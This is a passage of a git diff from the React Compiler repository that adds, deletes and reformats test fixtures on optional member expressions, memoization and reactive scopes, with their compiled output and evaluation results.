+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.js
new file mode 100644
index 000000000000..563b0bbf0f41
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-inverted-optionals-parallel-paths.js
@@ -0,0 +1,11 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.a.b?.c.d?.e);
+    x.push(props.a?.b.c?.d.e);
+    return x;
+  }, [props.a.b.c.d.e]);
+  return <ValidateMemoization inputs={[props.a.b.c.d.e]} output={x} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.expect.md
new file mode 100644
index 000000000000..95ebf3f95f9e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.expect.md
@@ -0,0 +1,60 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    return x;
+  }, [props.items]);
+  return <ValidateMemoization inputs={[props.items]} output={data} />;
+}
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import { ValidateMemoization } from "shared-runtime";
+function Component(props) {
+  const $ = _c(7);
+  let x;
+  if ($[0] !== props.items) {
+    x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    $[0] = props.items;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  const data = x;
+  let t0;
+  if ($[2] !== props.items) {
+    t0 = [props.items];
+    $[2] = props.items;
+    $[3] = t0;
+  } else {
+    t0 = $[3];
+  }
+  let t1;
+  if ($[4] !== data || $[5] !== t0) {
+    t1 = <ValidateMemoization inputs={t0} output={data} />;
+    $[4] = data;
+    $[5] = t0;
+    $[6] = t1;
+  } else {
+    t1 = $[6];
+  }
+  return t1;
+}
+
+```
+      
+### Eval output
+(kind: exception) Fixture not implemented
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.js
new file mode 100644
index 000000000000..8e6275bf921e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single-with-unconditional.js
@@ -0,0 +1,11 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+function Component(props) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(props?.items);
+    x.push(props.items);
+    return x;
+  }, [props.items]);
+  return <ValidateMemoization inputs={[props.items]} output={data} />;
+}
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.expect.md
new file mode 100644
index 000000000000..43476f1604b4
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.expect.md
@@ -0,0 +1,89 @@
+
+## Input
+
+```javascript
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+function Component({arg}) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(arg?.items);
+    return x;
+  }, [arg?.items]);
+  return <ValidateMemoization inputs={[arg?.items]} output={data} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: {items: 2}}],
+  sequentialRenders: [
+    {arg: {items: 2}},
+    {arg: {items: 2}},
+    {arg: null},
+    {arg: null},
+  ],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime"; // @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import { ValidateMemoization } from "shared-runtime";
+import { useMemo } from "react";
+function Component(t0) {
+  const $ = _c(7);
+  const { arg } = t0;
+
+  arg?.items;
+  let x;
+  if ($[0] !== arg?.items) {
+    x = [];
+    x.push(arg?.items);
+    $[0] = arg?.items;
+    $[1] = x;
+  } else {
+    x = $[1];
+  }
+  const data = x;
+  const t1 = arg?.items;
+  let t2;
+  if ($[2] !== t1) {
+    t2 = [t1];
+    $[2] = t1;
+    $[3] = t2;
+  } else {
+    t2 = $[3];
+  }
+  let t3;
+  if ($[4] !== data || $[5] !== t2) {
+    t3 = <ValidateMemoization inputs={t2} output={data} />;
+    $[4] = data;
+    $[5] = t2;
+    $[6] = t3;
+  } else {
+    t3 = $[6];
+  }
+  return t3;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{ arg: { items: 2 } }],
+  sequentialRenders: [
+    { arg: { items: 2 } },
+    { arg: { items: 2 } },
+    { arg: null },
+    { arg: null },
+  ],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>{"inputs":[2],"output":[2]}</div>
+<div>{"inputs":[2],"output":[2]}</div>
+<div>{"inputs":[null],"output":[null]}</div>
+<div>{"inputs":[null],"output":[null]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.js
new file mode 100644
index 000000000000..62ac31dd6d1b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/optional-member-expression-single.js
@@ -0,0 +1,22 @@
+// @validatePreserveExistingMemoizationGuarantees @enableOptionalDependencies
+import {ValidateMemoization} from 'shared-runtime';
+import {useMemo} from 'react';
+function Component({arg}) {
+  const data = useMemo(() => {
+    const x = [];
+    x.push(arg?.items);
+    return x;
+  }, [arg?.items]);
+  return <ValidateMemoization inputs={[arg?.items]} output={data} />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Component,
+  params: [{arg: {items: 2}}],
+  sequentialRenders: [
+    {arg: {items: 2}},
+    {arg: {items: 2}},
+    {arg: null},
+    {arg: null},
+  ],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.expect.md
deleted file mode 100644
index f11fd078983f..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.expect.md
+++ /dev/null
@@ -1,61 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-
-/**
- * This is a weird case as data has type `BuiltInMixedReadonly`.
- * The only scoped value we currently infer in this program is the
- * PropertyLoad `data?.toString`.
- */
-import { useFragment } from "shared-runtime";
-
-function Foo() {
-  const data = useFragment();
-  return [data?.toString() || ""];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-
-/**
- * This is a weird case as data has type `BuiltInMixedReadonly`.
- * The only scoped value we currently infer in this program is the
- * PropertyLoad `data?.toString`.
- */
-import { useFragment } from "shared-runtime";
-
-function Foo() {
-  const $ = _c(2);
-  const data = useFragment();
-  const t0 = data?.toString() || "";
-  let t1;
-  if ($[0] !== t0) {
-    t1 = [t0];
-    $[0] = t0;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [],
-};
-
-```
-      
-### Eval output
-(kind: ok) ["[object Object]"]
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.ts
deleted file mode 100644
index e09ec30f24bd..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/allocating-logical-expression-instruction-scope.ts
+++ /dev/null
@@ -1,18 +0,0 @@
-// @enableReactiveScopesInHIR:false
-
-/**
- * This is a weird case as data has type `BuiltInMixedReadonly`.
- * The only scoped value we currently infer in this program is the
- * PropertyLoad `data?.toString`.
- */
-import { useFragment } from "shared-runtime";
-
-function Foo() {
-  const data = useFragment();
-  return [data?.toString() || ""];
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.expect.md
deleted file mode 100644
index 960107465c93..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.expect.md
+++ /dev/null
@@ -1,96 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import { StaticText1, Stringify, identity, useHook } from "shared-runtime";
-/**
- * `button` and `dispatcher` must end up in the same memo block. It would be
- * invalid for `button` to take a dependency on `dispatcher` as dispatcher
- * is created later.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) "[[ function params=1 ]]"
- * Forget:
- * (kind: exception) Cannot access 'dispatcher' before initialization
- */
-function useFoo({ onClose }) {
-  const button = StaticText1 ?? (
-    <Stringify
-      primary={{
-        label: identity("label"),
-        onPress: onClose,
-      }}
-      secondary={{
-        onPress: () => {
-          dispatcher.go("route2");
-        },
-      }}
-    />
-  );
-
-  const dispatcher = useHook();
-
-  return button;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ onClose: identity() }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import { StaticText1, Stringify, identity, useHook } from "shared-runtime";
-/**
- * `button` and `dispatcher` must end up in the same memo block. It would be
- * invalid for `button` to take a dependency on `dispatcher` as dispatcher
- * is created later.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) "[[ function params=1 ]]"
- * Forget:
- * (kind: exception) Cannot access 'dispatcher' before initialization
- */
-function useFoo(t0) {
-  const $ = _c(3);
-  const { onClose } = t0;
-  let t1;
-  if ($[0] !== onClose || $[1] !== dispatcher) {
-    t1 = StaticText1 ?? (
-      <Stringify
-        primary={{ label: identity("label"), onPress: onClose }}
-        secondary={{
-          onPress: () => {
-            dispatcher.go("route2");
-          },
-        }}
-      />
-    );
-    $[0] = onClose;
-    $[1] = dispatcher;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  const button = t1;
-
-  const dispatcher = useHook();
-  return button;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ onClose: identity() }],
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.tsx
deleted file mode 100644
index b8fd78824791..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-hoisted-declaration-with-scope.tsx
+++ /dev/null
@@ -1,38 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import { StaticText1, Stringify, identity, useHook } from "shared-runtime";
-/**
- * `button` and `dispatcher` must end up in the same memo block. It would be
- * invalid for `button` to take a dependency on `dispatcher` as dispatcher
- * is created later.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) "[[ function params=1 ]]"
- * Forget:
- * (kind: exception) Cannot access 'dispatcher' before initialization
- */
-function useFoo({ onClose }) {
-  const button = StaticText1 ?? (
-    <Stringify
-      primary={{
-        label: identity("label"),
-        onPress: onClose,
-      }}
-      secondary={{
-        onPress: () => {
-          dispatcher.go("route2");
-        },
-      }}
-    />
-  );
-
-  const dispatcher = useHook();
-
-  return button;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ onClose: identity() }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.expect.md
deleted file mode 100644
index eb272fa01caf..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.expect.md
+++ /dev/null
@@ -1,137 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import { identity, mutate } from "shared-runtime";
-
-/**
- * The root cause of this bug is in `InferReactiveScopeVariables`. Currently,
- * InferReactiveScopeVariables do not ensure that maybe-aliased values get
- * assigned the same reactive scope. This is safe only when an already-
- * constructed value is captured, e.g.
- * ```js
- * const x = makeObj();  ⌝ mutable range of x
- * mutate(x);            ⌟
- *                       <-- after this point, we can produce a canonical version
- *                           of x for all following aliases
- * const y = [];
- * y.push(x);            <-- y captures x
- * ```
- *
- * However, if a value is captured/aliased during its mutable range and the
- * capturing container is separately memoized, it becomes difficult to guarantee
- * that all aliases refer to the same value.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) [{"wat0":"joe"},3]
- * [{"wat0":"joe"},3]
- * Forget:
- * (kind: ok) [{"wat0":"joe"},3]
- * [[ (exception in render) Error: oh no! ]]
- *
- */
-function useFoo({ a, b }) {
-  const x = { a };
-  const y = {};
-  mutate(x);
-  const z = [identity(y), b];
-  mutate(y);
-
-  if (z[0] !== y) {
-    throw new Error("oh no!");
-  }
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-  sequentialRenders: [
-    { a: 2, b: 3 },
-    { a: 4, b: 3 },
-  ],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import { identity, mutate } from "shared-runtime";
-
-/**
- * The root cause of this bug is in `InferReactiveScopeVariables`. Currently,
- * InferReactiveScopeVariables do not ensure that maybe-aliased values get
- * assigned the same reactive scope. This is safe only when an already-
- * constructed value is captured, e.g.
- * ```js
- * const x = makeObj();  ⌝ mutable range of x
- * mutate(x);            ⌟
- *                       <-- after this point, we can produce a canonical version
- *                           of x for all following aliases
- * const y = [];
- * y.push(x);            <-- y captures x
- * ```
- *
- * However, if a value is captured/aliased during its mutable range and the
- * capturing container is separately memoized, it becomes difficult to guarantee
- * that all aliases refer to the same value.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) [{"wat0":"joe"},3]
- * [{"wat0":"joe"},3]
- * Forget:
- * (kind: ok) [{"wat0":"joe"},3]
- * [[ (exception in render) Error: oh no! ]]
- *
- */
-function useFoo(t0) {
-  const $ = _c(6);
-  const { a, b } = t0;
-  let z;
-  let y;
-  if ($[0] !== a || $[1] !== b) {
-    const x = { a };
-    y = {};
-    mutate(x);
-    let t1;
-    if ($[4] !== b) {
-      t1 = [identity(y), b];
-      $[4] = b;
-      $[5] = t1;
-    } else {
-      t1 = $[5];
-    }
-    z = t1;
-    mutate(y);
-    $[0] = a;
-    $[1] = b;
-    $[2] = z;
-    $[3] = y;
-  } else {
-    z = $[2];
-    y = $[3];
-  }
-  if (z[0] !== y) {
-    throw new Error("oh no!");
-  }
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-  sequentialRenders: [
-    { a: 2, b: 3 },
-    { a: 4, b: 3 },
-  ],
-};
-
-```
-      
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.ts
deleted file mode 100644
index 8d268738fa77..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/bug-nonmutating-capture-in-unsplittable-memo-block.ts
+++ /dev/null
@@ -1,52 +0,0 @@
-// @enableReactiveScopesInHIR:false
-import { identity, mutate } from "shared-runtime";
-
-/**
- * The root cause of this bug is in `InferReactiveScopeVariables`. Currently,
- * InferReactiveScopeVariables do not ensure that maybe-aliased values get
- * assigned the same reactive scope. This is safe only when an already-
- * constructed value is captured, e.g.
- * ```js
- * const x = makeObj();  ⌝ mutable range of x
- * mutate(x);            ⌟
- *                       <-- after this point, we can produce a canonical version
- *                           of x for all following aliases
- * const y = [];
- * y.push(x);            <-- y captures x
- * ```
- *
- * However, if a value is captured/aliased during its mutable range and the
- * capturing container is separately memoized, it becomes difficult to guarantee
- * that all aliases refer to the same value.
- *
- * Sprout error:
- * Found differences in evaluator results
- * Non-forget (expected):
- * (kind: ok) [{"wat0":"joe"},3]
- * [{"wat0":"joe"},3]
- * Forget:
- * (kind: ok) [{"wat0":"joe"},3]
- * [[ (exception in render) Error: oh no! ]]
- *
- */
-function useFoo({ a, b }) {
-  const x = { a };
-  const y = {};
-  mutate(x);
-  const z = [identity(y), b];
-  mutate(y);
-
-  if (z[0] !== y) {
-    throw new Error("oh no!");
-  }
-  return z;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ a: 2, b: 3 }],
-  sequentialRenders: [
-    { a: 2, b: 3 },
-    { a: 4, b: 3 },
-  ],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.expect.md
index 814297ce7d68..7e79b2d0437b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.expect.md
@@ -3,21 +3,21 @@
 
 ```javascript
 // @enableReactiveScopesInHIR:false
-import { useRef } from "react";
-import { addOne } from "shared-runtime";
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
 
 function useKeyCommand() {
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
+  const handleKey = direction => () => {
     const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
     currentPosition.current = nextPosition;
   };
   const moveLeft = {
-    handler: handleKey("left"),
+    handler: handleKey('left'),
   };
   const moveRight = {
-    handler: handleKey("right"),
+    handler: handleKey('right'),
   };
   return [moveLeft, moveRight];
 }
@@ -37,45 +37,23 @@ import { useRef } from "react";
 import { addOne } from "shared-runtime";
 
 function useKeyCommand() {
-  const $ = _c(7);
+  const $ = _c(1);
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
-    const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
-    currentPosition.current = nextPosition;
-  };
-
-  const t0 = handleKey("left");
-  let t1;
-  if ($[0] !== t0) {
-    t1 = { handler: t0 };
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    const handleKey = (direction) => () => {
+      const position = currentPosition.current;
+      const nextPosition = direction === "left" ? addOne(position) : position;
+      currentPosition.current = nextPosition;
+    };
+    const moveLeft = { handler: handleKey("left") };
+    const moveRight = { handler: handleKey("right") };
+    t0 = [moveLeft, moveRight];
     $[0] = t0;
-    $[1] = t1;
-  } else {
-    t1 = $[1];
-  }
-  const moveLeft = t1;
-
-  const t2 = handleKey("right");
-  let t3;
-  if ($[2] !== t2) {
-    t3 = { handler: t2 };
-    $[2] = t2;
-    $[3] = t3;
-  } else {
-    t3 = $[3];
-  }
-  const moveRight = t3;
-  let t4;
-  if ($[4] !== moveLeft || $[5] !== moveRight) {
-    t4 = [moveLeft, moveRight];
-    $[4] = moveLeft;
-    $[5] = moveRight;
-    $[6] = t4;
   } else {
-    t4 = $[6];
+    t0 = $[0];
   }
-  return t4;
+  return t0;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.tsx
index ba3e9ebbf104..6f27dfe07fb3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.tsx
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/capture-ref-for-later-mutation.tsx
@@ -1,19 +1,19 @@
 // @enableReactiveScopesInHIR:false
-import { useRef } from "react";
-import { addOne } from "shared-runtime";
+import {useRef} from 'react';
+import {addOne} from 'shared-runtime';
 
 function useKeyCommand() {
   const currentPosition = useRef(0);
-  const handleKey = (direction) => () => {
+  const handleKey = direction => () => {
     const position = currentPosition.current;
-    const nextPosition = direction === "left" ? addOne(position) : position;
+    const nextPosition = direction === 'left' ? addOne(position) : position;
     currentPosition.current = nextPosition;
   };
   const moveLeft = {
-    handler: handleKey("left"),
+    handler: handleKey('left'),
   };
   const moveRight = {
-    handler: handleKey("right"),
+    handler: handleKey('right'),
   };
   return [moveLeft, moveRight];
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.expect.md
deleted file mode 100644
index 0d1a54af35f4..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.expect.md
+++ /dev/null
@@ -1,84 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-
-import { Stringify, identity, makeArray, mutate } from "shared-runtime";
-
-/**
- * Here, identity('foo') is an immutable allocating instruction.
- * `arr` is a mutable value whose mutable range ends at `arr.map`.
- *
- * The previous (reactive function) version of alignScopesToBlocks set the range of
- * both scopes to end at value blocks within the <></> expression.
- * However, both scope ranges should be aligned to the outer value block
- * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks
- * handles this correctly.
- */
-function Foo({ cond1, cond2 }) {
-  const arr = makeArray<any>({ a: 2 }, 2, []);
-
-  return cond1 ? (
-    <>
-      <div>{identity("foo")}</div>
-      <Stringify value={cond2 ? arr.map(mutate) : null} />
-    </>
-  ) : null;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [{ cond1: true, cond2: true }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-
-import { Stringify, identity, makeArray, mutate } from "shared-runtime";
-
-/**
- * Here, identity('foo') is an immutable allocating instruction.
- * `arr` is a mutable value whose mutable range ends at `arr.map`.
- *
- * The previous (reactive function) version of alignScopesToBlocks set the range of
- * both scopes to end at value blocks within the <></> expression.
- * However, both scope ranges should be aligned to the outer value block
- * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks
- * handles this correctly.
- */
-function Foo(t0) {
-  const $ = _c(4);
-  const { cond1, cond2 } = t0;
-  const arr = makeArray({ a: 2 }, 2, []);
-  let t1;
-  if ($[0] !== cond1 || $[1] !== cond2 || $[2] !== arr) {
-    t1 = cond1 ? (
-      <>
-        <div>{identity("foo")}</div>
-        <Stringify value={cond2 ? arr.map(mutate) : null} />
-      </>
-    ) : null;
-    $[0] = cond1;
-    $[1] = cond2;
-    $[2] = arr;
-    $[3] = t1;
-  } else {
-    t1 = $[3];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [{ cond1: true, cond2: true }],
-};
-
-```
-      
-### Eval output
-(kind: ok) <div>foo</div><div>{"value":[null,null,null]}</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.tsx b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.tsx
deleted file mode 100644
index 7336ecf2ee14..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/invalid-align-scopes-within-nested-valueblock-in-array.tsx
+++ /dev/null
@@ -1,29 +0,0 @@
-// @enableReactiveScopesInHIR:false
-
-import { Stringify, identity, makeArray, mutate } from "shared-runtime";
-
-/**
- * Here, identity('foo') is an immutable allocating instruction.
- * `arr` is a mutable value whose mutable range ends at `arr.map`.
- *
- * The previous (reactive function) version of alignScopesToBlocks set the range of
- * both scopes to end at value blocks within the <></> expression.
- * However, both scope ranges should be aligned to the outer value block
- * (e.g. `cond1 ? <>: null`). The HIR version of alignScopesToBlocks
- * handles this correctly.
- */
-function Foo({ cond1, cond2 }) {
-  const arr = makeArray<any>({ a: 2 }, 2, []);
-
-  return cond1 ? (
-    <>
-      <div>{identity("foo")}</div>
-      <Stringify value={cond2 ? arr.map(mutate) : null} />
-    </>
-  ) : null;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Foo,
-  params: [{ cond1: true, cond2: true }],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.expect.md
deleted file mode 100644
index bcb9caa4b63d..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/original-reactive-scopes-fork/mutate-outer-scope-within-value-block.expect.md
+++ /dev/null
@@ -1,101 +0,0 @@
-
-## Input
-
-```javascript
-// @enableReactiveScopesInHIR:false
-import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
-
-/**
- * There are three values with their own scopes in this fixture.
- * - arr, whose mutable range extends to the `mutate(...)` call
- * - cond, which has a mutable range of exactly 1 (e.g. created but not
- *   mutated)
- * - { val: CONST_TRUE }, which is also not mutated after creation. However,
- *   its scope range becomes extended to the value block.
- *
- * After AlignScopesToBlockScopes, our scopes look roughly like this
- * ```js
- *  [1] arr = shallowCopy()            ⌝@0
- *  [2] cond = identity()        <- @1 |
- *  [3] $0 = Ternary test=cond     ⌝@2 |
- *  [4]        {val : CONST_TRUE}  |   |
- *  [5]        mutate(arr)         |   |
- *  [6] return $0                  ⌟   ⌟
- * ```
- *
- * Observe that instruction 5 mutates scope 0, which means that scopes 0 and 2
- * should be merged.
- */
-function useFoo({ input }) {
-  const arr = shallowCopy(input);
-
-  const cond = identity(false);
-  return cond ? { val: CONST_TRUE } : mutate(arr);
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: useFoo,
-  params: [{ input: 3 }],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enableReactiveScopesInHIR:false
-import { CONST_TRUE, identity, shallowCopy } from "shared-runtime";
-
-/**
- * There are three values with their own scopes in this fixture.
- * - arr, whose mutable range extends to the `mutate(...)` call
- * - cond, which has a mutable range of exactly 1 (e.g. created but not
- *   mutated)
- * - { val: CONST_TRUE }, which is also not mutated after creation. However,
- *   its scope range becomes extended to the value block.
- *
- * After AlignScopesToBlockScopes, our scopes look roughly like this
- * ```js
- *  [1] arr = shallowCopy()            ⌝@0
- *  [2] cond = identity()        <- @1 |
- *  [3] $0 = Ternary test=cond     ⌝@2 |
- *  [4]        {val : CONST_TRUE}  |   |
